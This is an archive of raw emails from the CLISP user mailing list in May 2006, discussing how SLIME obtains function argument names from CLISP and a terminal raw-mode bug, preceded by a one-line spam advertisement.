Content-Type: text/plain Content-Transfer-Encoding: 8bit Message-Id: X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: nobody@bunker.frogspace.net X-Spam-Score: 1.4 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.4 REPLY_TO_EMPTY Reply-To: is empty Subject: [clisp-list] مقهى الساخرين حيث ابداع الفكر وحرية القلم Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat May 6 02:44:07 2006 X-Original-Date: Sat, 06 May 2006 02:43:23 -0700 مقهى الساخرين حيث ابداع الفكر وحرية القلم على الرابط التالى www.arbins.com/adab From lisp-clisp-list@m.gmane.org Sat May 06 12:25:11 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FcSOs-00073H-Lx for clisp-list@lists.sourceforge.net; Sat, 06 May 2006 12:25:10 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FcSOs-0008Ve-K9 for clisp-list@lists.sourceforge.net; Sat, 06 May 2006 12:25:10 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FcSOr-0007mm-Vm for clisp-list@lists.sourceforge.net; Sat, 06 May 2006 12:25:10 -0700 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1FcSOj-0003M1-SD for clisp-list@lists.sourceforge.net; Sat, 06 May 2006 21:25:02 +0200 Received: from 207.179.102.62 ([207.179.102.62]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 06 May 2006 21:25:01 +0200 Received: from vanek by 207.179.102.62 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 06 May 2006 21:25:01 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Lou Vanek Lines: 42 Message-ID: References: <445BDA63.3010409@vyatta.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 207.179.102.62 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 X-Accept-Language: en-us, en In-Reply-To: <445BDA63.3010409@vyatta.com> X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: [clisp-list] Re: Argument names in SLIME function help Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat May 6 12:26:01 2006 X-Original-Date: Sat, 06 May 2006 19:20:58 +0000 On my machine this info is stored in file xemacs-21.4.19\lisp\cldoc.el (I'm accessing clisp via xemacs and slime). Your setup may be different. Cldoc.el is just a text file so you can modify it and restart xemacs and immediately see the revisions. If you do decide to improve this file I would be interested in seeing a copy. -lv Dave Roberts wrote: > Sorry for the barrage of SLIME-related questions to this list lately, > but I had another. > > What do I have to do with CLISP such that SLIME will report informative > argument names whenever it does its thing as I'm typing standard > functions? For instance, I was just typing in a call to ASSOC and SLIME > helpfully showed me the function prototype as "(assoc arg0 arg1 &key > test test-not key)". Obviously, the "arg0" and "arg1" are not very > helpful, particularly when you can't remember the order of the > arguments. In this particular example, it isn't a big deal, but I have > been running into this and I hadn't been realizing how much I was > relying on this for prompting until it was gone. SBCL shows me > informative argument names and that helps me remember things better. > This is particularly useful when you're dealing with ELT and NTH, which > have things reversed and I can never remember which is which. > > I'm assuming that SLIME gets the argument information from the Lisp that > it's interacting with, and that for some reason CLISP is just saying > "arg0" and "arg1". I'm guessing that there is probably a compile-time > switch somewhere for CLISP that will cause it to provide useful info, > probably at the expense of larger image size to store all the argument > names. > > -- Dave > > > ------------------------------------------------------- > Using Tomcat but need to do more? Need to support web services, security? > Get stuff done quickly with pre-integrated technology to make your job > easier > Download IBM WebSphere Application Server v.1.0.1 based on Apache Geronimo > http://sel.as-us.falkag.net/sel?cmd=lnk&kid=120709&bid=263057&dat=121642 From pjb@informatimago.com Sat May 06 16:36:45 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FcWKL-0003PO-Hr for clisp-list@lists.sourceforge.net; Sat, 06 May 2006 16:36:45 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FcWKL-0001Rc-Jq for clisp-list@lists.sourceforge.net; Sat, 06 May 2006 16:36:45 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FcWKJ-0007Bv-MQ for clisp-list@lists.sourceforge.net; Sat, 06 May 2006 16:36:45 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 75F0E585D4; Sun, 7 May 2006 01:36:35 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 3BE7F58344; Sun, 7 May 2006 01:36:32 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 2291887C4; Sun, 7 May 2006 01:36:32 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17501.13056.40797.388348@thalassa.informatimago.com> To: Lou Vanek Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Argument names in SLIME function help In-Reply-To: References: <445BDA63.3010409@vyatta.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-3.1 required=5.0 tests=ALL_TRUSTED,BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat May 6 16:37:32 2006 X-Original-Date: Sun, 7 May 2006 01:36:32 +0200 Lou Vanek writes: > Dave Roberts wrote: > > What do I have to do with CLISP such that SLIME will report informative > > argument names whenever it does its thing as I'm typing standard > > functions? You'll have to distringuish two cases: - functions whose source is lisp, byte-compiled or interpreted. - functions whose source is C. In the later case, there's no declaration of the parameter names. The parameters are pushed on the stack, and the C functions take them from the stack. The only declarations are: LISPFUNNR(nth,2) LISPFUNNR(elt,2) LISPFUN(assoc,seclass_default,2,0,norest,key,3, (kw(test),kw(test_not),kw(key)) ) etc... Happily, this concerns mostly COMMON-LISP functions, and perhaps some modules: we can maintain meta data separately, from the specifications. > > I'm assuming that SLIME gets the argument information from the Lisp that > > it's interacting with, and that for some reason CLISP is just saying > > "arg0" and "arg1". I'm guessing that there is probably a compile-time > > switch somewhere for CLISP that will cause it to provide useful info, > > probably at the expense of larger image size to store all the argument > > names. Slime asks the lisp image for the argument names. For clisp, it reduces to: (defimplementation arglist (fname) (block nil (or (ignore-errors (let ((exp (function-lambda-expression fname))) (and exp (return (second exp))))) (ignore-errors (return (ext:arglist fname))) :not-available))) (second (function-lambda-expression 'f)) --> (X Y Z) (ext:arglist 'f) --> (#:ARG0 #:ARG1 #:ARG2) So the problem is in ext:arglist --> compiler.lisp/get-signature --> compiler.lisp/function-signature --> and eventually, the fact that the argument names is not stored into the closure structure. I think it could be added easily enough as an additional constant list in the closures. It could be a last constant. It seems we would only need to edit lisp code in compiler.lisp to implement it. > On my machine this info is stored in file xemacs-21.4.19\lisp\cldoc.el > (I'm accessing clisp via xemacs and slime). Your setup may be different. > Cldoc.el is just a text file so you can modify it and restart xemacs and > immediately see the revisions. > If you do decide to improve this file I would be interested in seeing a > copy. I've got no cldoc.el in any of the emacs versions I've got installed on my system (ranging from 21.2 to 22.0.50). -- A: Because it messes up the order in which people normally read text. Q: Why is top-posting such a bad thing? A: Top-posting. Q: What is the most annoying thing on usenet and in e-mail? __Pascal Bourguignon__ http://www.informatimago.com/ From lisp-clisp-list@m.gmane.org Sat May 06 21:32:12 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FcawG-0000Hk-N9 for clisp-list@lists.sourceforge.net; Sat, 06 May 2006 21:32:12 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FcawF-00015s-A5 for clisp-list@lists.sourceforge.net; Sat, 06 May 2006 21:32:12 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1Fcaw8-00076j-Tu for clisp-list@lists.sourceforge.net; Sun, 07 May 2006 06:32:04 +0200 Received: from 207.179.102.62 ([207.179.102.62]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 07 May 2006 06:32:04 +0200 Received: from vanek by 207.179.102.62 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 07 May 2006 06:32:04 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Lou Vanek Lines: 45 Message-ID: References: <445BDA63.3010409@vyatta.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 207.179.102.62 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 X-Accept-Language: en-us, en In-Reply-To: X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: [clisp-list] Re: Argument names in SLIME function help Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat May 6 21:33:02 2006 X-Original-Date: Sun, 07 May 2006 04:31:56 +0000 this has a SLIME hook, and it's easy to modify the argument names (I've done it): http://homepage1.nifty.com/bmonkey/emacs/elisp/cldoc.el Install instructions are embedded at the top of the file. Lou Vanek wrote: > On my machine this info is stored in file xemacs-21.4.19\lisp\cldoc.el > (I'm accessing clisp via xemacs and slime). Your setup may be different. > Cldoc.el is just a text file so you can modify it and restart xemacs and > immediately see the revisions. > If you do decide to improve this file I would be interested in seeing a > copy. > -lv > > > Dave Roberts wrote: > >> Sorry for the barrage of SLIME-related questions to this list lately, >> but I had another. >> >> What do I have to do with CLISP such that SLIME will report >> informative argument names whenever it does its thing as I'm typing >> standard functions? For instance, I was just typing in a call to ASSOC >> and SLIME helpfully showed me the function prototype as "(assoc arg0 >> arg1 &key test test-not key)". Obviously, the "arg0" and "arg1" are >> not very helpful, particularly when you can't remember the order of >> the arguments. In this particular example, it isn't a big deal, but I >> have been running into this and I hadn't been realizing how much I was >> relying on this for prompting until it was gone. SBCL shows me >> informative argument names and that helps me remember things better. >> This is particularly useful when you're dealing with ELT and NTH, >> which have things reversed and I can never remember which is which. >> >> I'm assuming that SLIME gets the argument information from the Lisp >> that it's interacting with, and that for some reason CLISP is just >> saying "arg0" and "arg1". I'm guessing that there is probably a >> compile-time switch somewhere for CLISP that will cause it to provide >> useful info, probably at the expense of larger image size to store all >> the argument names. >> >> -- Dave From Devon@Jovi.Net Sun May 07 10:41:00 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FcnFb-0005sc-SH for clisp-list@lists.sourceforge.net; Sun, 07 May 2006 10:40:59 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FcnFb-0005sU-V2 for clisp-list@lists.sourceforge.net; Sun, 07 May 2006 10:40:59 -0700 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FcnFa-00063k-FS for clisp-list@lists.sourceforge.net; Sun, 07 May 2006 10:40:59 -0700 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id k47HeKUr029130 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 7 May 2006 13:40:21 -0400 (EDT) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id k47HeC4l029113; Sun, 7 May 2006 13:40:12 -0400 (EDT) (envelope-from Devon@Jovi.Net) Message-Id: <200605071740.k47HeC4l029113@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: "Hoehle, Joerg-Cyril" CC: clisp-list@lists.sourceforge.net In-reply-to: (Joerg-Cyril.Hoehle@t-systems.com) Subject: Re: [clisp-list] SLIME/SWANK and EXT:WITH-KEYBOARD References: X-Spam-Status: No, score=-3.2 required=5.0 tests=AWL,BAYES_00, UNPARSEABLE_RELAY autolearn=ham version=3.1.0 X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0.2 (grant.org [127.0.0.1]); Sun, 07 May 2006 13:40:39 -0400 (EDT) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun May 7 10:41:01 2006 X-Original-Date: Sun, 7 May 2006 13:40:12 -0400 (EDT) Please try this ^H^Y command for EMACS at http://people.csail.mit.edu/devon/emacs/hyperspec.el if you prefer info mode to, say, Firefox browsing the HyperSpec. I'm running CLISP-2.38 (2006-01-24) with SLIME version unknown (ChangeLog top line dated 2006-04-20) under EMACS-21.3 as I continue to struggle with SLIME despite the crashes and sketchy UI. The concept has potential to become a decent GNU-EMACS LISP IDE and so far I favor the ITS/GNUMACS "array of bytes with buffer gap" text model over the Multics/Zwei/Hemlock "sequence of strings" text model. Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote PS: As soon as I posted my last message, I got phishing spam which could only have been harvested from this mailing list because I have never used this mailbox anywhere else. From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] SLIME/SWANK and EXT:WITH-KEYBOARD Date: Fri, 5 May 2006 15:59:05 +0200 Devon wrote: >I am using SLIME for the first time and it tends to wedge EMACS so >badly all I can do is kill the EMACS process. Not ready for prime time. Your experience certainly is not typical. Maybe some version conflict between Emacs and Emacs or CLISP? I'm using slime-1.0 with Emacs-20.7 on MS-Windows and some n month old slime with Emacs-21.4(?) on Linux. In comp.lang.lisp, plenty of people report using one or the other version of SLIME and Emacs and CLISP successfully. I've heard SLIME-2.0 is out. I didn't try it out yet. Regards, Jorg Hohle. From pjb@informatimago.com Sun May 07 10:54:03 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FcnSE-00048K-2r for clisp-list@lists.sourceforge.net; Sun, 07 May 2006 10:54:02 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FcnSC-0002Hg-KO for clisp-list@lists.sourceforge.net; Sun, 07 May 2006 10:54:02 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 6330A585EF; Sun, 7 May 2006 19:53:54 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 2DD08585D4; Sun, 7 May 2006 19:53:51 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 10C1787C4; Sun, 7 May 2006 19:53:51 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17502.13359.21638.822101@thalassa.informatimago.com> To: Lou Vanek Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Argument names in SLIME function help In-Reply-To: References: <445BDA63.3010409@vyatta.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-3.1 required=5.0 tests=ALL_TRUSTED,BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun May 7 10:55:02 2006 X-Original-Date: Sun, 7 May 2006 19:53:51 +0200 Lou Vanek writes: > this has a SLIME hook, and it's easy to modify the argument names > (I've done it): > > http://homepage1.nifty.com/bmonkey/emacs/elisp/cldoc.el Methink it could be useful for clisp users who don't use emacs to have it loadable into the clisp image and usable directly from here. -- __Pascal Bourguignon__ http://www.informatimago.com/ READ THIS BEFORE OPENING PACKAGE: According to certain suggested versions of the Grand Unified Theory, the primary particles constituting this product may decay to nothingness within the next four hundred million years. From lisp-clisp-list@m.gmane.org Sat May 06 13:17:21 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FcTDN-0007ZC-L5 for clisp-list@lists.sourceforge.net; Sat, 06 May 2006 13:17:21 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FcTDN-0000QM-Jz for clisp-list@lists.sourceforge.net; Sat, 06 May 2006 13:17:21 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FcTDK-0001lo-Uo for clisp-list@lists.sourceforge.net; Sat, 06 May 2006 13:17:21 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1FcTDH-00024T-5d for clisp-list@lists.sourceforge.net; Sat, 06 May 2006 22:17:15 +0200 Received: from dsl254-123-194.nyc1.dsl.speakeasy.net ([216.254.123.194]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 06 May 2006 22:17:15 +0200 Received: from russell_mcmanus by dsl254-123-194.nyc1.dsl.speakeasy.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 06 May 2006 22:17:15 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Russell McManus Lines: 10 Message-ID: <87vesioqmy.fsf@cl-user.org> References: <445BDA63.3010409@vyatta.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: dsl254-123-194.nyc1.dsl.speakeasy.net User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Jumbo Shrimp, berkeley-unix) Cancel-Lock: sha1:PWc5gtZ4Xk4Lpu3ZfJeuAMcCTAo= X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Subject: [clisp-list] Re: Argument names in SLIME function help Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 8 01:03:02 2006 X-Original-Date: Sat, 06 May 2006 16:16:37 -0400 Dave Roberts writes: > I'm guessing that there is probably a compile-time switch somewhere > for CLISP that will cause it to provide useful info, probably at the > expense of larger image size to store all the argument names. I think that switch is waiting for your patch... -russ From Joerg-Cyril.Hoehle@t-systems.com Mon May 08 01:06:35 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fd0lG-0003cd-TV for clisp-list@lists.sourceforge.net; Mon, 08 May 2006 01:06:34 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fd0lG-0004c5-TM for clisp-list@lists.sourceforge.net; Mon, 08 May 2006 01:06:34 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fd0lF-0002ep-A4 for clisp-list@lists.sourceforge.net; Mon, 08 May 2006 01:06:34 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Mon, 8 May 2006 10:06:22 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 8 May 2006 10:06:21 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: Lisp-Hacker@Jovi.Net, dave@vyatta.com Subject: Re: [clisp-list] SLIME/SWANK and EXT:WITH-KEYBOARD MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 8 01:07:01 2006 X-Original-Date: Mon, 8 May 2006 10:04:34 +0200 Dave Roberts wrote: >>2. I also tried running CLISP in a separate terminal window and then >>loading SWANK manually and then attaching SLIME from Emacs. >>The terminal doesn't seem to get put into raw mode, however. >I just tried this in MS-Windows with clisp-2.38 and it worked fine >(using an old slime-1.2.1, ignoring errors during compilation). >I'll try out Linux this week-end. On Linux -- #+UNIX in general --, SLIME indeed messes up WITH-KEYBOARD's ability to switch to RAW mode, as it changes *TERMINAL-IO*. MS-Windows (#+win32) is not affected, as the implementation is different. I have a patch on my machine at home, that I'll put into CVS ASAP. Thank you for reporting the problem. Devon Sean McCullough wrote: >The concept has potential to become a decent GNU-EMACS LISP IDE and >so far I favor the ITS/GNUMACS "array of bytes with buffer gap" text >model over the Multics/Zwei/Hemlock "sequence of strings" text model. You lost me. What was the context for this comment? >PS: As soon as I posted my last message, I got phishing spam >which could only have been harvested from this mailing list >because I have never used this mailbox anywhere else. So do you believe that some recipient of the list is a bot with no other purpose than collecting addresses? Sadly, I can't tell from the e-mail address. Or did they get it via gmain, sourceforge archives or what else? Regards, Jorg Hohle. From pjb@informatimago.com Mon May 08 07:59:20 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fd7Ci-0001ww-D1 for clisp-list@lists.sourceforge.net; Mon, 08 May 2006 07:59:20 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fd7Cg-0001Fm-Aj for clisp-list@lists.sourceforge.net; Mon, 08 May 2006 07:59:20 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id EFEEE58344; Mon, 8 May 2006 16:59:12 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id E887F585BE; Mon, 8 May 2006 16:59:04 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id B6FD18808; Mon, 8 May 2006 16:59:04 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17503.23736.645637.547375@thalassa.informatimago.com> To: Russell McManus To: Lou Vanek , Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Argument names in SLIME function help In-Reply-To: <87vesioqmy.fsf@cl-user.org> References: <445BDA63.3010409@vyatta.com> <87vesioqmy.fsf@cl-user.org> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-3.1 required=5.0 tests=ALL_TRUSTED,BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See 